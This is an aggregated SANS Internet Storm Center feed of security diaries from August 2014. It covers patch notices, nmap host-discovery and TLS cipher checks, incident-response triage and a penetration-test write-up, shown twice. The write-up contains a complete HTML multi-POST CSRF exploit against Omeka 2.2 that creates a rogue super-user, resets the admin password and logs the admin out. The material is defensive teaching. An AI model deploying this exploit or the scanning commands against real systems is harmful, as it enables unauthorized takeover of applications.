Latest Alerts

Syndicate content SANS Internet Storm Center, InfoCON: green
Updated: 37 min ago

Adobe updates for 2014/08, (Tue, Aug 12th)

Tue, 08/12/2014 - 09:49

Adobe has released security updates for Adobe Flash Player, Adobe AIR, Adobe Reader, and Acrobat. The updates are rated as critical and an impressive number of CVE entries.  CVE-2014-0538, CVE-2014-0540, CVE-2014-0541, CVE-2014-0542, CVE-2014-0543, CVE-2014-0544, CVE-2014-0545, CVE-2014-0546. Summary: update now. 

http://helpx.adobe.com/security/products/flash-player/apsb14-18.html
http://helpx.adobe.com/security/products/reader/apsb14-19.html

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.
My SANS Teaching Schedule

 

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Host discovery with nmap, (Tue, Aug 12th)

Tue, 08/12/2014 - 04:27

I enjoy performing penetration tests, I also enjoy teaching how to do penetration testing correctly. Next time up is SANS Sec560 network penetration testing in Albuquerque, NM. When I am teaching one of the points I make is to make good use of your tools. You really want to know which tools is appropriate for which parts of the engagement methodology and test plan. You also want to be familiar with the features and quirks of each tool in your kit. Most people are familiar with nmap as a port scanner, and often some of the other features such as service versioning and operating system fingerprinting. What I would like to talk about today are some of the features of nmap that work well together. One of the tasks in a penetration test or a vulnerability assessment is to identify which hosts are likely alive and responsive. Security testing involves sending stimulus, monitoring, and seeing responses. In this case we typically use nmap to send the stimulus, tcpdump to perform the monitoring, and the responses will tell us which hosts are responding to the packets nmap is sending.

Nmap is most often used to perform a ping sweep with its default series of packets. This option was -sP and is now -sn.

'nmap -sn -iL targets nmap-default-ping'

With root privileges this will send ICMP ech request (ping), a TCP SYN packet to port 443, a TCP ACK packet to port 80, and an ICMP timestamp request. This is efficient and in many cases is sufficient to identify those hosts that are responsive. In the case of a relatively flat internal network this is often the case.  

Tcpdump shows us that 4 packets were sent, 4 responses were also seen.

17:08:37.469613 IP 198.41.30.84 > 74.207.244.221: ICMP echo request, id 44412, seq 0, length 8
17:08:37.469641 IP 198.41.30.84.42601 > 74.207.244.221.443: Flags [S], seq 4035393928, win 1024, options [mss 1460], length 0
17:08:37.469658 IP 198.41.30.84.42601 > 74.207.244.221.80: Flags [.], ack 4035393928, win 1024, length 0
17:08:37.469664 IP 198.41.30.84 > 74.207.244.221: ICMP time stamp query id 30952 seq 0, length 20
17:08:37.541827 IP 74.207.244.221 > 198.41.30.84: ICMP echo reply, id 44412, seq 0, length 8
17:08:37.541841 IP 74.207.244.221.443 > 198.41.30.84.42601: Flags [R.], seq 0, ack 4035393929, win 0, length 0
17:08:37.541868 IP 74.207.244.221.80 > 198.41.30.84.42601: Flags [R], seq 4035393928, win 0, length 0
17:08:37.541968 IP 74.207.244.221 > 198.41.30.84: ICMP time stamp reply id 30952 seq 0: org 00:00:00.000, recv 21:00:18.026, xmit 21:00:18.026, length 20

(74.207.244.221 is scan.nmap.org)

The problem with only sending these 4 packets as the means to do hosts discovery is that it may miss many test cases, and is therefore less accurate. This is an issue in many pentests where we need to balance accuracy against efficient use of our time. Scanning an arbitrary /19 and we see the following results:

Nmap done: 8192 IP addresses (5668 hosts up) scanned in 24.31 seconds
           Raw packets sent: 26981 (968.952KB) | Rcvd: 5954 (176.168KB)

Now consider the following:
 'nmap -sn -PS -PA -PU -PY -PE -PP -PM -PO -n -vv --reason --packet-trace --traceroute -iL targets -oA nmap-full-sweep'
 
Nmap done: 8192 IP addresses (5676 hosts up) scanned in 438.24 seconds
           Raw packets sent: 80075 (2.518MB) | Rcvd: 94752 (4.014MB)

The --reason option tells us which stimulus the hosts responded to. --paket-trace outputs to the screen the packets flying back and forth, giving us a visual indicator to see if the tests are running correctly. The second scan sends 3 different ICMP packets, TCP, UDP, SCTP, and some raw IP packets. The only other tool I often run along with nmap is ike-scan to identify VPN devices that do not respond to any other packets. From the nmap man page:             
-sn: Ping Scan - disable port scan
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping

We gained an additional 8 hosts identified as being responsive, however we sent over 3 times the packets and it took much much longer. The second scan is arguably much more accurate, and certainly is a much more impressive command line! Putting together the tools we can construct a nice bash script to run tcpdump and nmap against a target list. The script checks to see if has root privilege, sets up some variables, creats a scan log, runs tcpdump, runs nmap, then stops tcpdump.  

Cheers,
Adrien de Beaupre
Intru-shun.ca Inc.

Check out BSides Ottawa, our CfP is still open! Con is 5-6 September
http://www.bsidesottawa.ca/
I will be teaching SANS Sec560, Network Penetration Testing next in Albuquerque, NM!
http://www.sans.org/event/albuquerque-2014/course/network-penetration-testing-ethical-hacking

References:
http://nmap.org/book/man-host-discovery.html
http://www.nta-monitor.com/tools-resources/security-tools/ike-scan

Begin script:

#!/bin/bash
#Usage: discover.sh targetfilename
# Modified 10 August 2014, Adrien de Beaupre
# Check to see if we have root privileges, exit if not.
if [[ $EUID -ne 0 ]]; then
        echo "$0 must be run as root"
        exit 1
fi
# Check to see if we have a filename as one argument, exit if not.
# Number of arguments we want
GOODARGS=1
if [ $# -ne $GOODARGS ]; then
        echo "Usage: `basename $0` {targetfilename}"
        exit 1
fi
# Check to see if target file exists, exit if not
if [ ! -f $1 ]; then
        echo "Target file \"`basename $1`\" does not exist"
        exit 1
fi
# Declare variables
# Target file
TARGETS=`cat $1`
# Timestamp variable
NOW=$(date +%F-%s)
# Tcpdump program to run variable
TCPDUMP=/usr/local/sbin/tcpdump
# Run the tcpdump program
$TCPDUMP -n -v -i eth0 -w tcpdump-discovery.$NOW.$1.dump 2>/dev/null &
# Variable for the process ID
PID=$!
# Start discovery scan, create or append to scanlog
echo -e 'Discovery scan start:' $HOST | tee -a scanlog
date >> scanlog
# Nmap discovery
nmap -sn -PS -PA -PU -PY -PE -PP -PM -PO -n -vv --reason --packet-trace --traceroute -iL $1 -oA $1-discovery-nmap-$NOW
# Wait two seconds before killing sniffer
sleep 2
# Kill the tcpdump program by PID
echo -e 'Tcpdump stopped:' $HOST | tee -a scanlog
date >> scanlog
kill $PID

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Sysinternals updates Sysmon v1.0; Updates: Autoruns v12.01, Coreinfo v3.3, Procexp v16.03 http://blogs.technet.com/b/sysinternals/, (Tue, Aug 12th)

Tue, 08/12/2014 - 04:22
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Tuesday, August 12th 2014 http://isc.sans.edu/podcastdetail.html?id=4101, (Tue, Aug 12th)

Mon, 08/11/2014 - 18:55
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Verifying preferred SSL/TLS ciphers with Nmap, (Mon, Aug 11th)

Mon, 08/11/2014 - 01:45

In last year or two, there has been a lot of talk regarding correct usage of SSL/TLS ciphers on web servers. Due to various incidents more or less known incidents, web sites today should use PFS (Perfect Forward Secrecy), a mechanism that is used when an SSL/TLS connection is established and symmetric keys exchanged. PFS ensures that, in case an attacker obtains the server’s private key, he cannot decrypt previous SSL/TLS connections to that server. If PFS is not used (if RSA is used to exchange symmetric keys), then the attacker can easily decrypt *all* previous SSL/TLS connections. That’s bad.

However, the whole process of choosing a cipher is not all that trivial. By default, the client will present its preferred cipher to use and as long as the server supports that cipher it will be selected. This is, obviously, not optimal in environments where we want to be sure that the most secure cipher will always be selected, so administrators quite often enable their servers so they get to pick the preferred cipher.

This allows an administrator to enable only ciphers he wants to have used, and additionally to define their priorities – the server will always try to pick the cipher with the highest priority (which should be “the most secure one”). Only if the client does not support that cipher, the server will move to the next one and so on, until it finds one that is supported by the client (or, if it doesn’t, the SSL/TLS connection will fail!).

This is good and therefore I started recommending web server administrators to configure their servers so that PFS ciphers are turned on. However, at several occasions I noticed that the administrators incorrectly set the preferred cipher suite order on the server. This can result in non-PFS cipher suites selected, although both the server and the client support PFS.

As mentioned previously, this happens because the client sends the list of the supported ciphers and the server picks "the strongest one" according to its preferred list. 
SSL Labs' (https://www.ssllabs.com/ssltest) shows this when testing with reference browsers, but I wanted to be able to check this myself, from command line, especially when I'm testing servers that are not reachable to SSL Labs (or I don't want them to see the results).

So I modified the Nmap's ssl-enum-ciphers.nse script to list preferred ciphers in addition to just enumerating ciphers. I use this script a lot to list the supported ciphers, but I was missing the preferred ciphers list. Let’s take a look at the following example:

$ nmap -sT -PN -p 443 127.0.0.1 --script ssl-enum-ciphers.nse
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-11 09:15 UTC
Nmap scan report for 127.0.0.1
Host is up (0.00021s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   SSLv3: No supported ciphers found
|   TLSv1.0:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|     preferred ciphers order:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|       TLS_RSA_WITH_AES_256_CBC_SHA
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
|     compressors:
|       NULL

Now, things get interesting. You can see that the server supports the PFS ciphers (those starting with TLS_DHE are the PFS ciphers) in the original list ( in green). However, take a look at the preferred cipher list (in red). Since the TLS_RSA_WITH_AES_128_CBC_SHA is the preferred cipher by the server, absolutely every browser today (Mozilla, Chrome, IE, Safari) will end up using this cipher – since they all support it. So, even though PFS ciphers are enabled, they will never get used!

Of course, this is an error in the web server’s configuration. Let’s fix it so the PFS ciphers have higher priority and rerun the nmap script:

$ nmap -sT -PN -p 443 127.0.0.1 --script ssl-enum-ciphers.nse
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-11 09:15 UTC
Nmap scan report for 127.0.0.1
Host is up (0.00021s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   SSLv3: No supported ciphers found
|   TLSv1.0:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|     preferred ciphers order:
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|       TLS_RSA_WITH_AES_128_CBC_SHA
|       TLS_RSA_WITH_AES_256_CBC_SHA
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
|     compressors:
|       NULL

Much better! Now the PFS ciphers are preferred and most browser will use them. We can even confirm this with SSL Labs – all relatively new browsers, that support PFS will pick those ciphers.

So, if you want to use this script to test your servers, you can find it at https://github.com/bojanisc/nmap-scripts - please report any bugs to me.

Finally, I also submitted it to Nmap so hopefully it will get added into the official distribution. There is a bug that Daniel Miller noticed – in case a server supports more than 64 ciphers, and the server is running on Microsoft Windows, the script will fail to list the preferred ciphers.

The reason for this is that, when a client connects, Microsoft (the Schannel component I presume) takes into account only the first 64 ciphers listed by the client. The other ciphers are ignored. This is the reason why the original ssl-enum-ciphers.nse Nmap script splits ciphers into chunks of 64. No idea why Microsoft did it this was (since the spec says that the client can include as many as it wants). However, it’s clearly a problem.

Now, I haven’t seen any web servers that support more than 64 ciphers in the wild – let me know if you find one. Additionally, according to this article: http://msdn.microsoft.com/en-us/library/windows/desktop/bb870930%28v=vs.85%29.aspx, the list of cipher suites on Windows is limited to 1023 characters.
Since most cipher names are 20+ characters, this could mean that you can't really have more than ~50 ciphers active on a Windows machine - I haven't tested this though.

 

--
Bojan
bojanz@twitter
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Monday, August 11th 2014 http://isc.sans.edu/podcastdetail.html?id=4099, (Mon, Aug 11th)

Sun, 08/10/2014 - 17:52
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Incident Response with Triage-ir, (Sun, Aug 10th)

Sun, 08/10/2014 - 08:28

In many cases having a full disk image is not an option during an incident.  Imagine that you are suspecting that you have dozen of infected or compromised system. Can you spend 2-3 hours to make a forensic copy of hard disks hundred computers? In such situation fast forensics is the solution for such situation. Instead of copying everything collecting some files that may contain an evidence can solve this issue. In this diary I am going to talk about an application that will collect most of these files.

 

 

Triage-IR

Triage-ir is a script written by Michael Ahrendt . Triage-ir will collect system information, network information, registry hives, disk information and it will dump memory. One of the powerful capabilities of triage-ir is collecting information from Volume Shadow Copy (v.851) which can defeat many anti-forensics techniques.

Triage-ir can be obtained from http://code.google.com/p/triage-ir/downloads/list . The triage-ir itself is just a script that depend on other tools such as Sysinternals Suite[i], Dupmpit[ii][iii] , Regripper[iv],md5deep[v] ,7zip[vi] and some windows built-in commands .

Here are the installation steps:

  1. Download Triage-ir
  2. Unzip it
  3. Download the dependencies
  4. Place Sysinternals Suite and Regripper on their own folders under tools foler.
  5. Place the other dependencies under tools folder

In case of incident you would like to keep minimum residues as much as you can therefore I would suggest to copy it to USB drive ,one issue here if you are planning to dump the memory the USB drive should be larger than the physical ram.

Once you launch the application you can select which info you would like to collect. Each category is separate tab.

Let say that you would like to collect the Network Information only. All you have to do is click on Network Information tab and click on Select none then select all information you would like to collect then click run.

Once the collection process finished triage-ir will prompt you that

All the collected information will be dumped in a new folder with date and the system name.

[i] http://technet.microsoft.com/en-us/sysinternals/bb842062

 

[ii] http://www.moonsols.com/resources/

 

[iii] https://isc.sans.edu/forums/diary/Acquiring+Memory+Images+with+Dumpit/17216

 

[iv] http://code.google.com/p/winforensicaanalysis/downloads/list

 

 

[v] http://md5deep.sourceforge.net/

 

 

[vi] http://www.7-zip.org/

 

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Incident Response with Triage-ir, (Sun, Aug 10th)

Sun, 08/10/2014 - 08:28

In many cases having a full disk image is not an option during an incident.  Imagine that you are suspecting that you have dozen of infected or compromised system. Can you spend 2-3 hours to make a forensic copy of hard disks hundred computers? In such situation fast forensics is the solution for such situation. Instead of copying everything collecting some files that may contain an evidence can solve this issue. In this diary I am going to talk about an application that will collect most of these files.

 

 

Triage-IR

Triage-ir is a script written by Michael Ahrendt . Triage-ir will collect system information, network information, registry hives, disk information and it will dump memory. One of the powerful capabilities of triage-ir is collecting information from Volume Shadow Copy (v.851) which can defeat many anti-forensics techniques.

Triage-ir can be obtained from http://code.google.com/p/triage-ir/downloads/list . The triage-ir itself is just a script that depend on other tools such as Sysinternals Suite[i], Dupmpit[ii][iii] , Regripper[iv],md5deep[v] ,7zip[vi] and some windows built-in commands .

Here are the installation steps:

  1. Download Triage-ir
  2. Unzip it
  3. Download the dependencies
  4. Place Sysinternals Suite and Regripper on their own folders under tools foler.
  5. Place the other dependencies under tools folder

In case of incident you would like to keep minimum residues as much as you can therefore I would suggest to copy it to USB drive ,one issue here if you are planning to dump the memory the USB drive should be larger than the physical ram.

Once you launch the application you can select which info you would like to collect. Each category is separate tab.

Let say that you would like to collect the Network Information only. All you have to do is click on Network Information tab and click on Select none then select all information you would like to collect then click run.

Once the collection process finished triage-ir will prompt you that

All the collected information will be dumped in a new folder with date and the system name.

[i] http://technet.microsoft.com/en-us/sysinternals/bb842062

 

[ii] http://www.moonsols.com/resources/

 

[iii] https://isc.sans.edu/forums/diary/Acquiring+Memory+Images+with+Dumpit/17216

 

[iv] http://code.google.com/p/winforensicaanalysis/downloads/list

 

 

[v] http://md5deep.sourceforge.net/

 

 

[vi] http://www.7-zip.org/

 

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Complete application ownage via Multi-POST XSRF, (Sat, Aug 9th)

Sat, 08/09/2014 - 14:17

I enjoy performing penetration tests, I also enjoy teaching how to do penetration testing correctly. Next time up is SANS Sec560 network penetration testing in Albuquerque, NM. When I am teaching one of the points I make is to never consider the vulnerabilities in isolation, using them in combination truly demonstrates the risk and impact. I was performing a web application penetration test, and the list of things that it was vulnerable to was quite impressive!:

The list of vulnerabilities:

  • Content can be framed
  • XSS
  • Method interchange
  • DoS, application hangs on long abnormal inputs, relies on client side validation
  • Able to upload files, including malicious content
  • Information leakage, internal server names, IP addresses, install locations...
  • XSRF
  • User enumeration via forgot password function
  • Administrators can disable their own account

We had determined that the primary threat would be for a user to escalate privileges and access information from other accounts. In order to achieve this goal we concentrated on the persistent XSS and XSRF. We would use the persistent XSS to launch the XSRF attack. We leveraged all of the vulnerabilities in one way or another, in other words, we were having a good time!

Using the XSS:

  • Create trouble ticket
  • Ticket will be first viewed by administrator
  • Script executes in the administrator browser
  • Administrator can perform all of the functions vulnerable to XSRF

A significant number of the functions were vulnerable to Cross Site Request Forgery (CSRF or XSRF), which is also known as session riding and transaction injection. The functions that were vulnerable had absolutely no anti-XSRF protection, and the interesting ones were all in the administrator part of the site. An attacker could add a new user, put the user in the administrator group, change the passwords, and log out. The problem was, each of these were different transactions, and had to be performed in the correct order to pull off the attack. The application owner and the development team did not appreciate the severity of the issue, and pointed out that their automated scanning tool had not identified the issue, therefore it didn't exist. Even if the issue did exist, it could only be of medium severity, because their tool said so. To top it all off, even if an attacker could pull off this mythical attack, it could not be done in one shot, the administrator had to click multiple times. In short, they did not appreciate the impact, the attacker would have complete control over the application. In order to make my point a demonstration was in order, that did the following:

  • Add a new user
  • Put the user in an administrator group
  • Lockout the super-user account
  • Logout the super-user accoun;
  • Did the functions in the correct order
  • Each function would wait for the last to complete
  • Was all in one HTML page
  • Would force the administrator to view a certain Rick Astley video :)
  • OK, we didn't do the last one, that would be WAY too mean.

My Google-fu was with me that day, I discovered a post by Tim Tomes (lanmaster53) that described exactly what I wanted to do. He also had sample code to start with:
http://www.lanmaster53.com/2013/07/multi-post-csrf/
The next problem was that obviously I could use their custom application to do the proof of concept, but I needed another application with similar vulnerabilities to demo for this post. Once again the Google-fu was with me:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php
Omeka is a free and open source web publishing application. Also quick and easy to install. Also quick and easy to exploit. Last, but not least, I could download the vulnerable version 2.2 and be up and running in no time.

Administrator (victim) logs into the application:

The add user function as seen in an interception proxy (OWASP ZAP):

The code running:

Now the code. The important parts are getting the script to run, I used a body onload. The script runs each one of the forms. The forms each contain one of the XSF attacks. Each form loads in a different iframe. The first one runs, then the second one waits from the iframe onload to fire before it runs, and so on. Victim logs in, they check their queue, the XSS runs, the XSRF runs, they have lost control of the application, attacker win.

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.

Check out BSides Ottawa, our CfP is still open! Con is 5-6 September
http://www.bsidesottawa.ca/
I will be teaching SANS Sec560, Network Penetration Testing next in Albuquerque, NM !
http://www.sans.org/event/albuquerque-2014/course/network-penetration-testing-ethical-hacking

References:

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
http://cwe.mitre.org/data/definitions/352.html
http://www.lanmaster53.com/2013/07/multi-post-csrf/
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php
http://omeka.org/
https://www.youtube.com/watch?v=dQw4w9WgXcQ

Code:

<html>
<head>
<title>XSRF Multi-post attack onload</title>
<!-- Creation Date: 31 July 2014 -->
<!-- Author: Adrien de Beaupre -->
<!-- Original code borrowed from Tim Tomes LaNMaSteR53 -->
<!-- Demonstrating multi-post XSRF-->
</head>

<body onload="runme();">
welcome to p0wned by XSRF!

<form name="xsrf0" action="http://intru-shun.ca/omeka/admin/users/add" method="POST" target="frame0">
<input type="hidden" name="username" value="hacker" />
<input type="hidden" name="name" value="evil" />
<input type="hidden" name="email" value="hacker@evil.com" />
<input type="hidden" name="role" value="super" />
<input type="hidden" name="active" value="1" />
</form>

<form name="xsrf1" action="http://intru-shun.ca/omeka/admin/users/change-password/1" method="POST" target="frame1">
<input type="hidden" name="new_password" value="Passw0rd" />
<input type="hidden" name="new_password_confirm" value="Passw0rd" />
</form>

<form name="xsrf2" action="http://intru-shun.ca/omeka/admin/users/logout" method="POST" target=frame2">
<input type="hidden" name="Logout" value="yes" />
</form>

<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>
<iframe name="frame2"></iframe>

<script>
function runme()
{
document.xsrf0.submit();
document.getElementsByTagName("iframe")[0].onload = function()
{
document.xsrf1.submit();
document.getElementsByTagName("iframe")[1].onload = function()
{
document.xsrf2.submit();
alert('All your base are belong to us')
}
}
}
</script>

</body>
</html>

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Complete application ownage via Multi-POST XSRF, (Sat, Aug 9th)

Sat, 08/09/2014 - 09:53

I enjoy performing penetration tests, I also enjoy teaching how to do penetration testing correctly. When I am teaching one of the points I make is to never consider the vulnerabilities in isolation, using them in combination truly demonstrates the risk and impact. I was performing a web application penetration test, and the list of things that it was vulnerable to was quite impressive!:

The list of vulnerabilities:

  • Content can be framed
  • XSS
  • Method interchange
  • DoS, application hangs on long abnormal inputs, relies on client side validation
  • Able to upload files, including malicious content
  • Information leakage, internal server names, IP addresses, install locations...
  • XSRF
  • User enumeration via forgot password function
  • Administrators can disable their own account

We had determined that the primary threat would be for a user to escalate privileges and access information from other accounts. In order to achieve this goal we concentrated on the persistent XSS and XSRF. We would use the persistent XSS to launch the XSRF attack. We leveraged all of the vulnerabilities in one way or another, in other words, we were having a good time!

Using the XSS:

  • Create trouble ticket
  • Ticket will be first viewed by administrator
  • Script executes in the administrator browser
  • Administrator can perform all of the functions vulnerable to XSRF

A significant number of the functions were vulnerable to Cross Site Request Forgery (CSRF or XSRF), which is also known as session riding and transaction injection. The functions that were vulnerable had absolutely no anti-XSRF protection, and the interesting ones were all in the administrator part of the site. An attacker could add a new user, put the user in the administrator group, change the passwords, and log out. The problem was, each of these were different transactions, and had to be performed in the correct order to pull off the attack. The application owner and the development team did not appreciate the severity of the issue, and pointed out that their automated scanning tool had not identified the issue, therefore it didn't exist. Even if the issue did exist, it could only be of medium severity, because their tool said so. To top it all off, even if an attacker could pull off this mythical attack, it could not be done in one shot, the administrator had to click multiple times. In short, they did not appreciate the impact, the attacker would have complete control over the application. In order to make my point a demonstration was in order, that did the following:

  • Add a new user
  • Put the user in an administrator group
  • Lockout the super-user account
  • Logout the super-user accoun;
  • Did the functions in the correct order
  • Each function would wait for the last to complete
  • Was all in one HTML page
  • Would force the administrator to view a certain Rick Astley video :)
  • OK, we didn't do the last one, that would be WAY too mean.

My Google-fu was with me that day, I discovered a post by Tim Tomes (lanmaster53) that described exactly what I wanted to do. He also had sample code to start with:
http://www.lanmaster53.com/2013/07/multi-post-csrf/
The next problem was that obviously I could use their custom application to do the proof of concept, but I needed another application with similar vulnerabilities to demo for this post. Once again the Google-fu was with me:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php
Omeka is a free and open source web publishing application. Also quick and easy to install. Also quick and easy to exploit. Last, but not least, I could download the vulnerable version 2.2 and be up and running in no time.

Administrator (victim) logs into the application:

The add user function as seen in an interception proxy (OWASP ZAP):

The code running:

Now the code. The important parts are getting the script to run, I used a body onload. The script runs each one of the forms. The forms each contain one of the XSF attacks. Each form loads in a different iframe. The first one runs, then the second one waits from the iframe onload to fire before it runs, and so on. Victim logs in, they check their queue, the XSS runs, the XSRF runs, they have lost control of the application, attacker win.

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.

Check out BSides Ottawa, our CfP is still open! Con is 5-6 September
http://www.bsidesottawa.ca/
I will be teaching SANS Sec560, Network Penetration Testing next in Albuquerque, NM !
http://www.sans.org/event/albuquerque-2014/course/network-penetration-testing-ethical-hacking

References:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
http://cwe.mitre.org/data/definitions/352.html
http://www.lanmaster53.com/2013/07/multi-post-csrf/
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php
http://omeka.org/
https://www.youtube.com/watch?v=dQw4w9WgXcQ

Code:

<html>
<head>
<title>XSRF Multi-form attack onload</title>
<!-- Creation Date: 31 July 2014                        -->
<!-- Author: Adrien de Beaupre                         -->
<!-- Original code borrowed from Tim Tomes LaNMaSteR53      -->
<!-- Demonstrating multi-form XSRF                     -->
</head>

<body onload="runme();">

welcome to p0wned by XSRF!

<form name="xsrf0" action="http://intru-shun.ca/omeka/admin/users/add" method="POST" target="frame0">
    <input type="hidden" name="username" value="hacker" />
    <input type="hidden" name="name" value="evil" />
    <input type="hidden" name="email" value="hacker@evil.com" />
    <input type="hidden" name="role" value="super" />
    <input type="hidden" name="active" value="1" />
</form>

<form name="xsrf1" action="http://intru-shun.ca/omeka/admin/users/change-password/1" method="POST" target="frame1">
    <input type="hidden" name="new_password" value="Passw0rd" />
    <input type="hidden" name="new_password_confirm" value="Passw0rd" />
</form>

<form name="xsrf2" action="http://intru-shun.ca/omeka/admin/users/logout" method="POST" target=frame2">
    <input type="hidden" name="Logout" value="yes" />
</form>

<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>
<iframe name="frame2"></iframe>

<script>
    function runme()
    {
        document.xsrf0.submit();
        document.getElementsByTagName("iframe")[0].onload = function()
        {
            document.xsrf1.submit();
                document.getElementsByTagName("iframe")[1].onload = function()
                {
                    document.xsrf2.submit();
                    alert('All your base are belong to us')
                }
        }
    }

</script>
</body>
</html>

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Microsoft & IE support plans, best be on IE11 by 01/2016, (Sat, Aug 9th)

Fri, 08/08/2014 - 21:38

Microsoft announced in their blog on the 8th (thanks Allan for the heads up) that starting January 2016 the browsers that will be supported are: 

  • Vista SP2 - IE9
  • 2008 SP2 - IE9 
  • Windows 7 - IE11
  • 2008 R2 SP1 - IE11
  • Windows 8.1 - IE11
  • 2012 - IE10
  • 2012 R2 - IE11

​I can hear the security brain cells cheer and the business brain cells cringe.  From a security perspective running the latest browser typically makes sense.  However from a business perspective this may cause quite a few issues in many organisations.  Older applications were often written for specific browser versions, so to upgrade or allow for those to continue to function may not be a trivial task.  The blog does explain that you may be able to use "Enterprise mode" in IE11.  This might be one way to migrate for your organisation (http://blogs.msdn.com/b/ie/archive/2014/04/02/stay-up-to-date-with-enterprise-mode-for-internet-explorer-11.aspx)  

The blog entry also has what I'd like to call a few interesting throwaway lines.  For example "After January 12, 2016, only the most recent version of Internet Explorer available for a supported operating system will receive technical support and security updates." In other words you may have to migrate to IE12 when it becomes available for the OS you use.  

In short if you are not using the latest Internet Explorer in your organisation you may have limited time to get it sorted before your risk profile increases dramatically, unless of course all the bad guys promise to only concentrate on current versions of the browser. 

MS Blog can be found here --> http://blogs.msdn.com/b/ie/archive/2014/08/07/stay-up-to-date-with-internet-explorer.aspx

Cheers

Mark H 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Microsoft & IE support plans, best be on IE11 by 01/2016, (Sat, Aug 9th)

Fri, 08/08/2014 - 21:38

Microsoft announced in their blog on the 8th (thanks Allan for the heads up) that starting January 2016 the browsers that will be supported are: 

  • Vista SP2 - IE9
  • 2008 SP2 - IE9 
  • Windows 7 - IE11
  • 2008 R2 SP1 - IE11
  • Windows 8.1 - IE11
  • 2012 - IE10
  • 2012 R2 - IE11

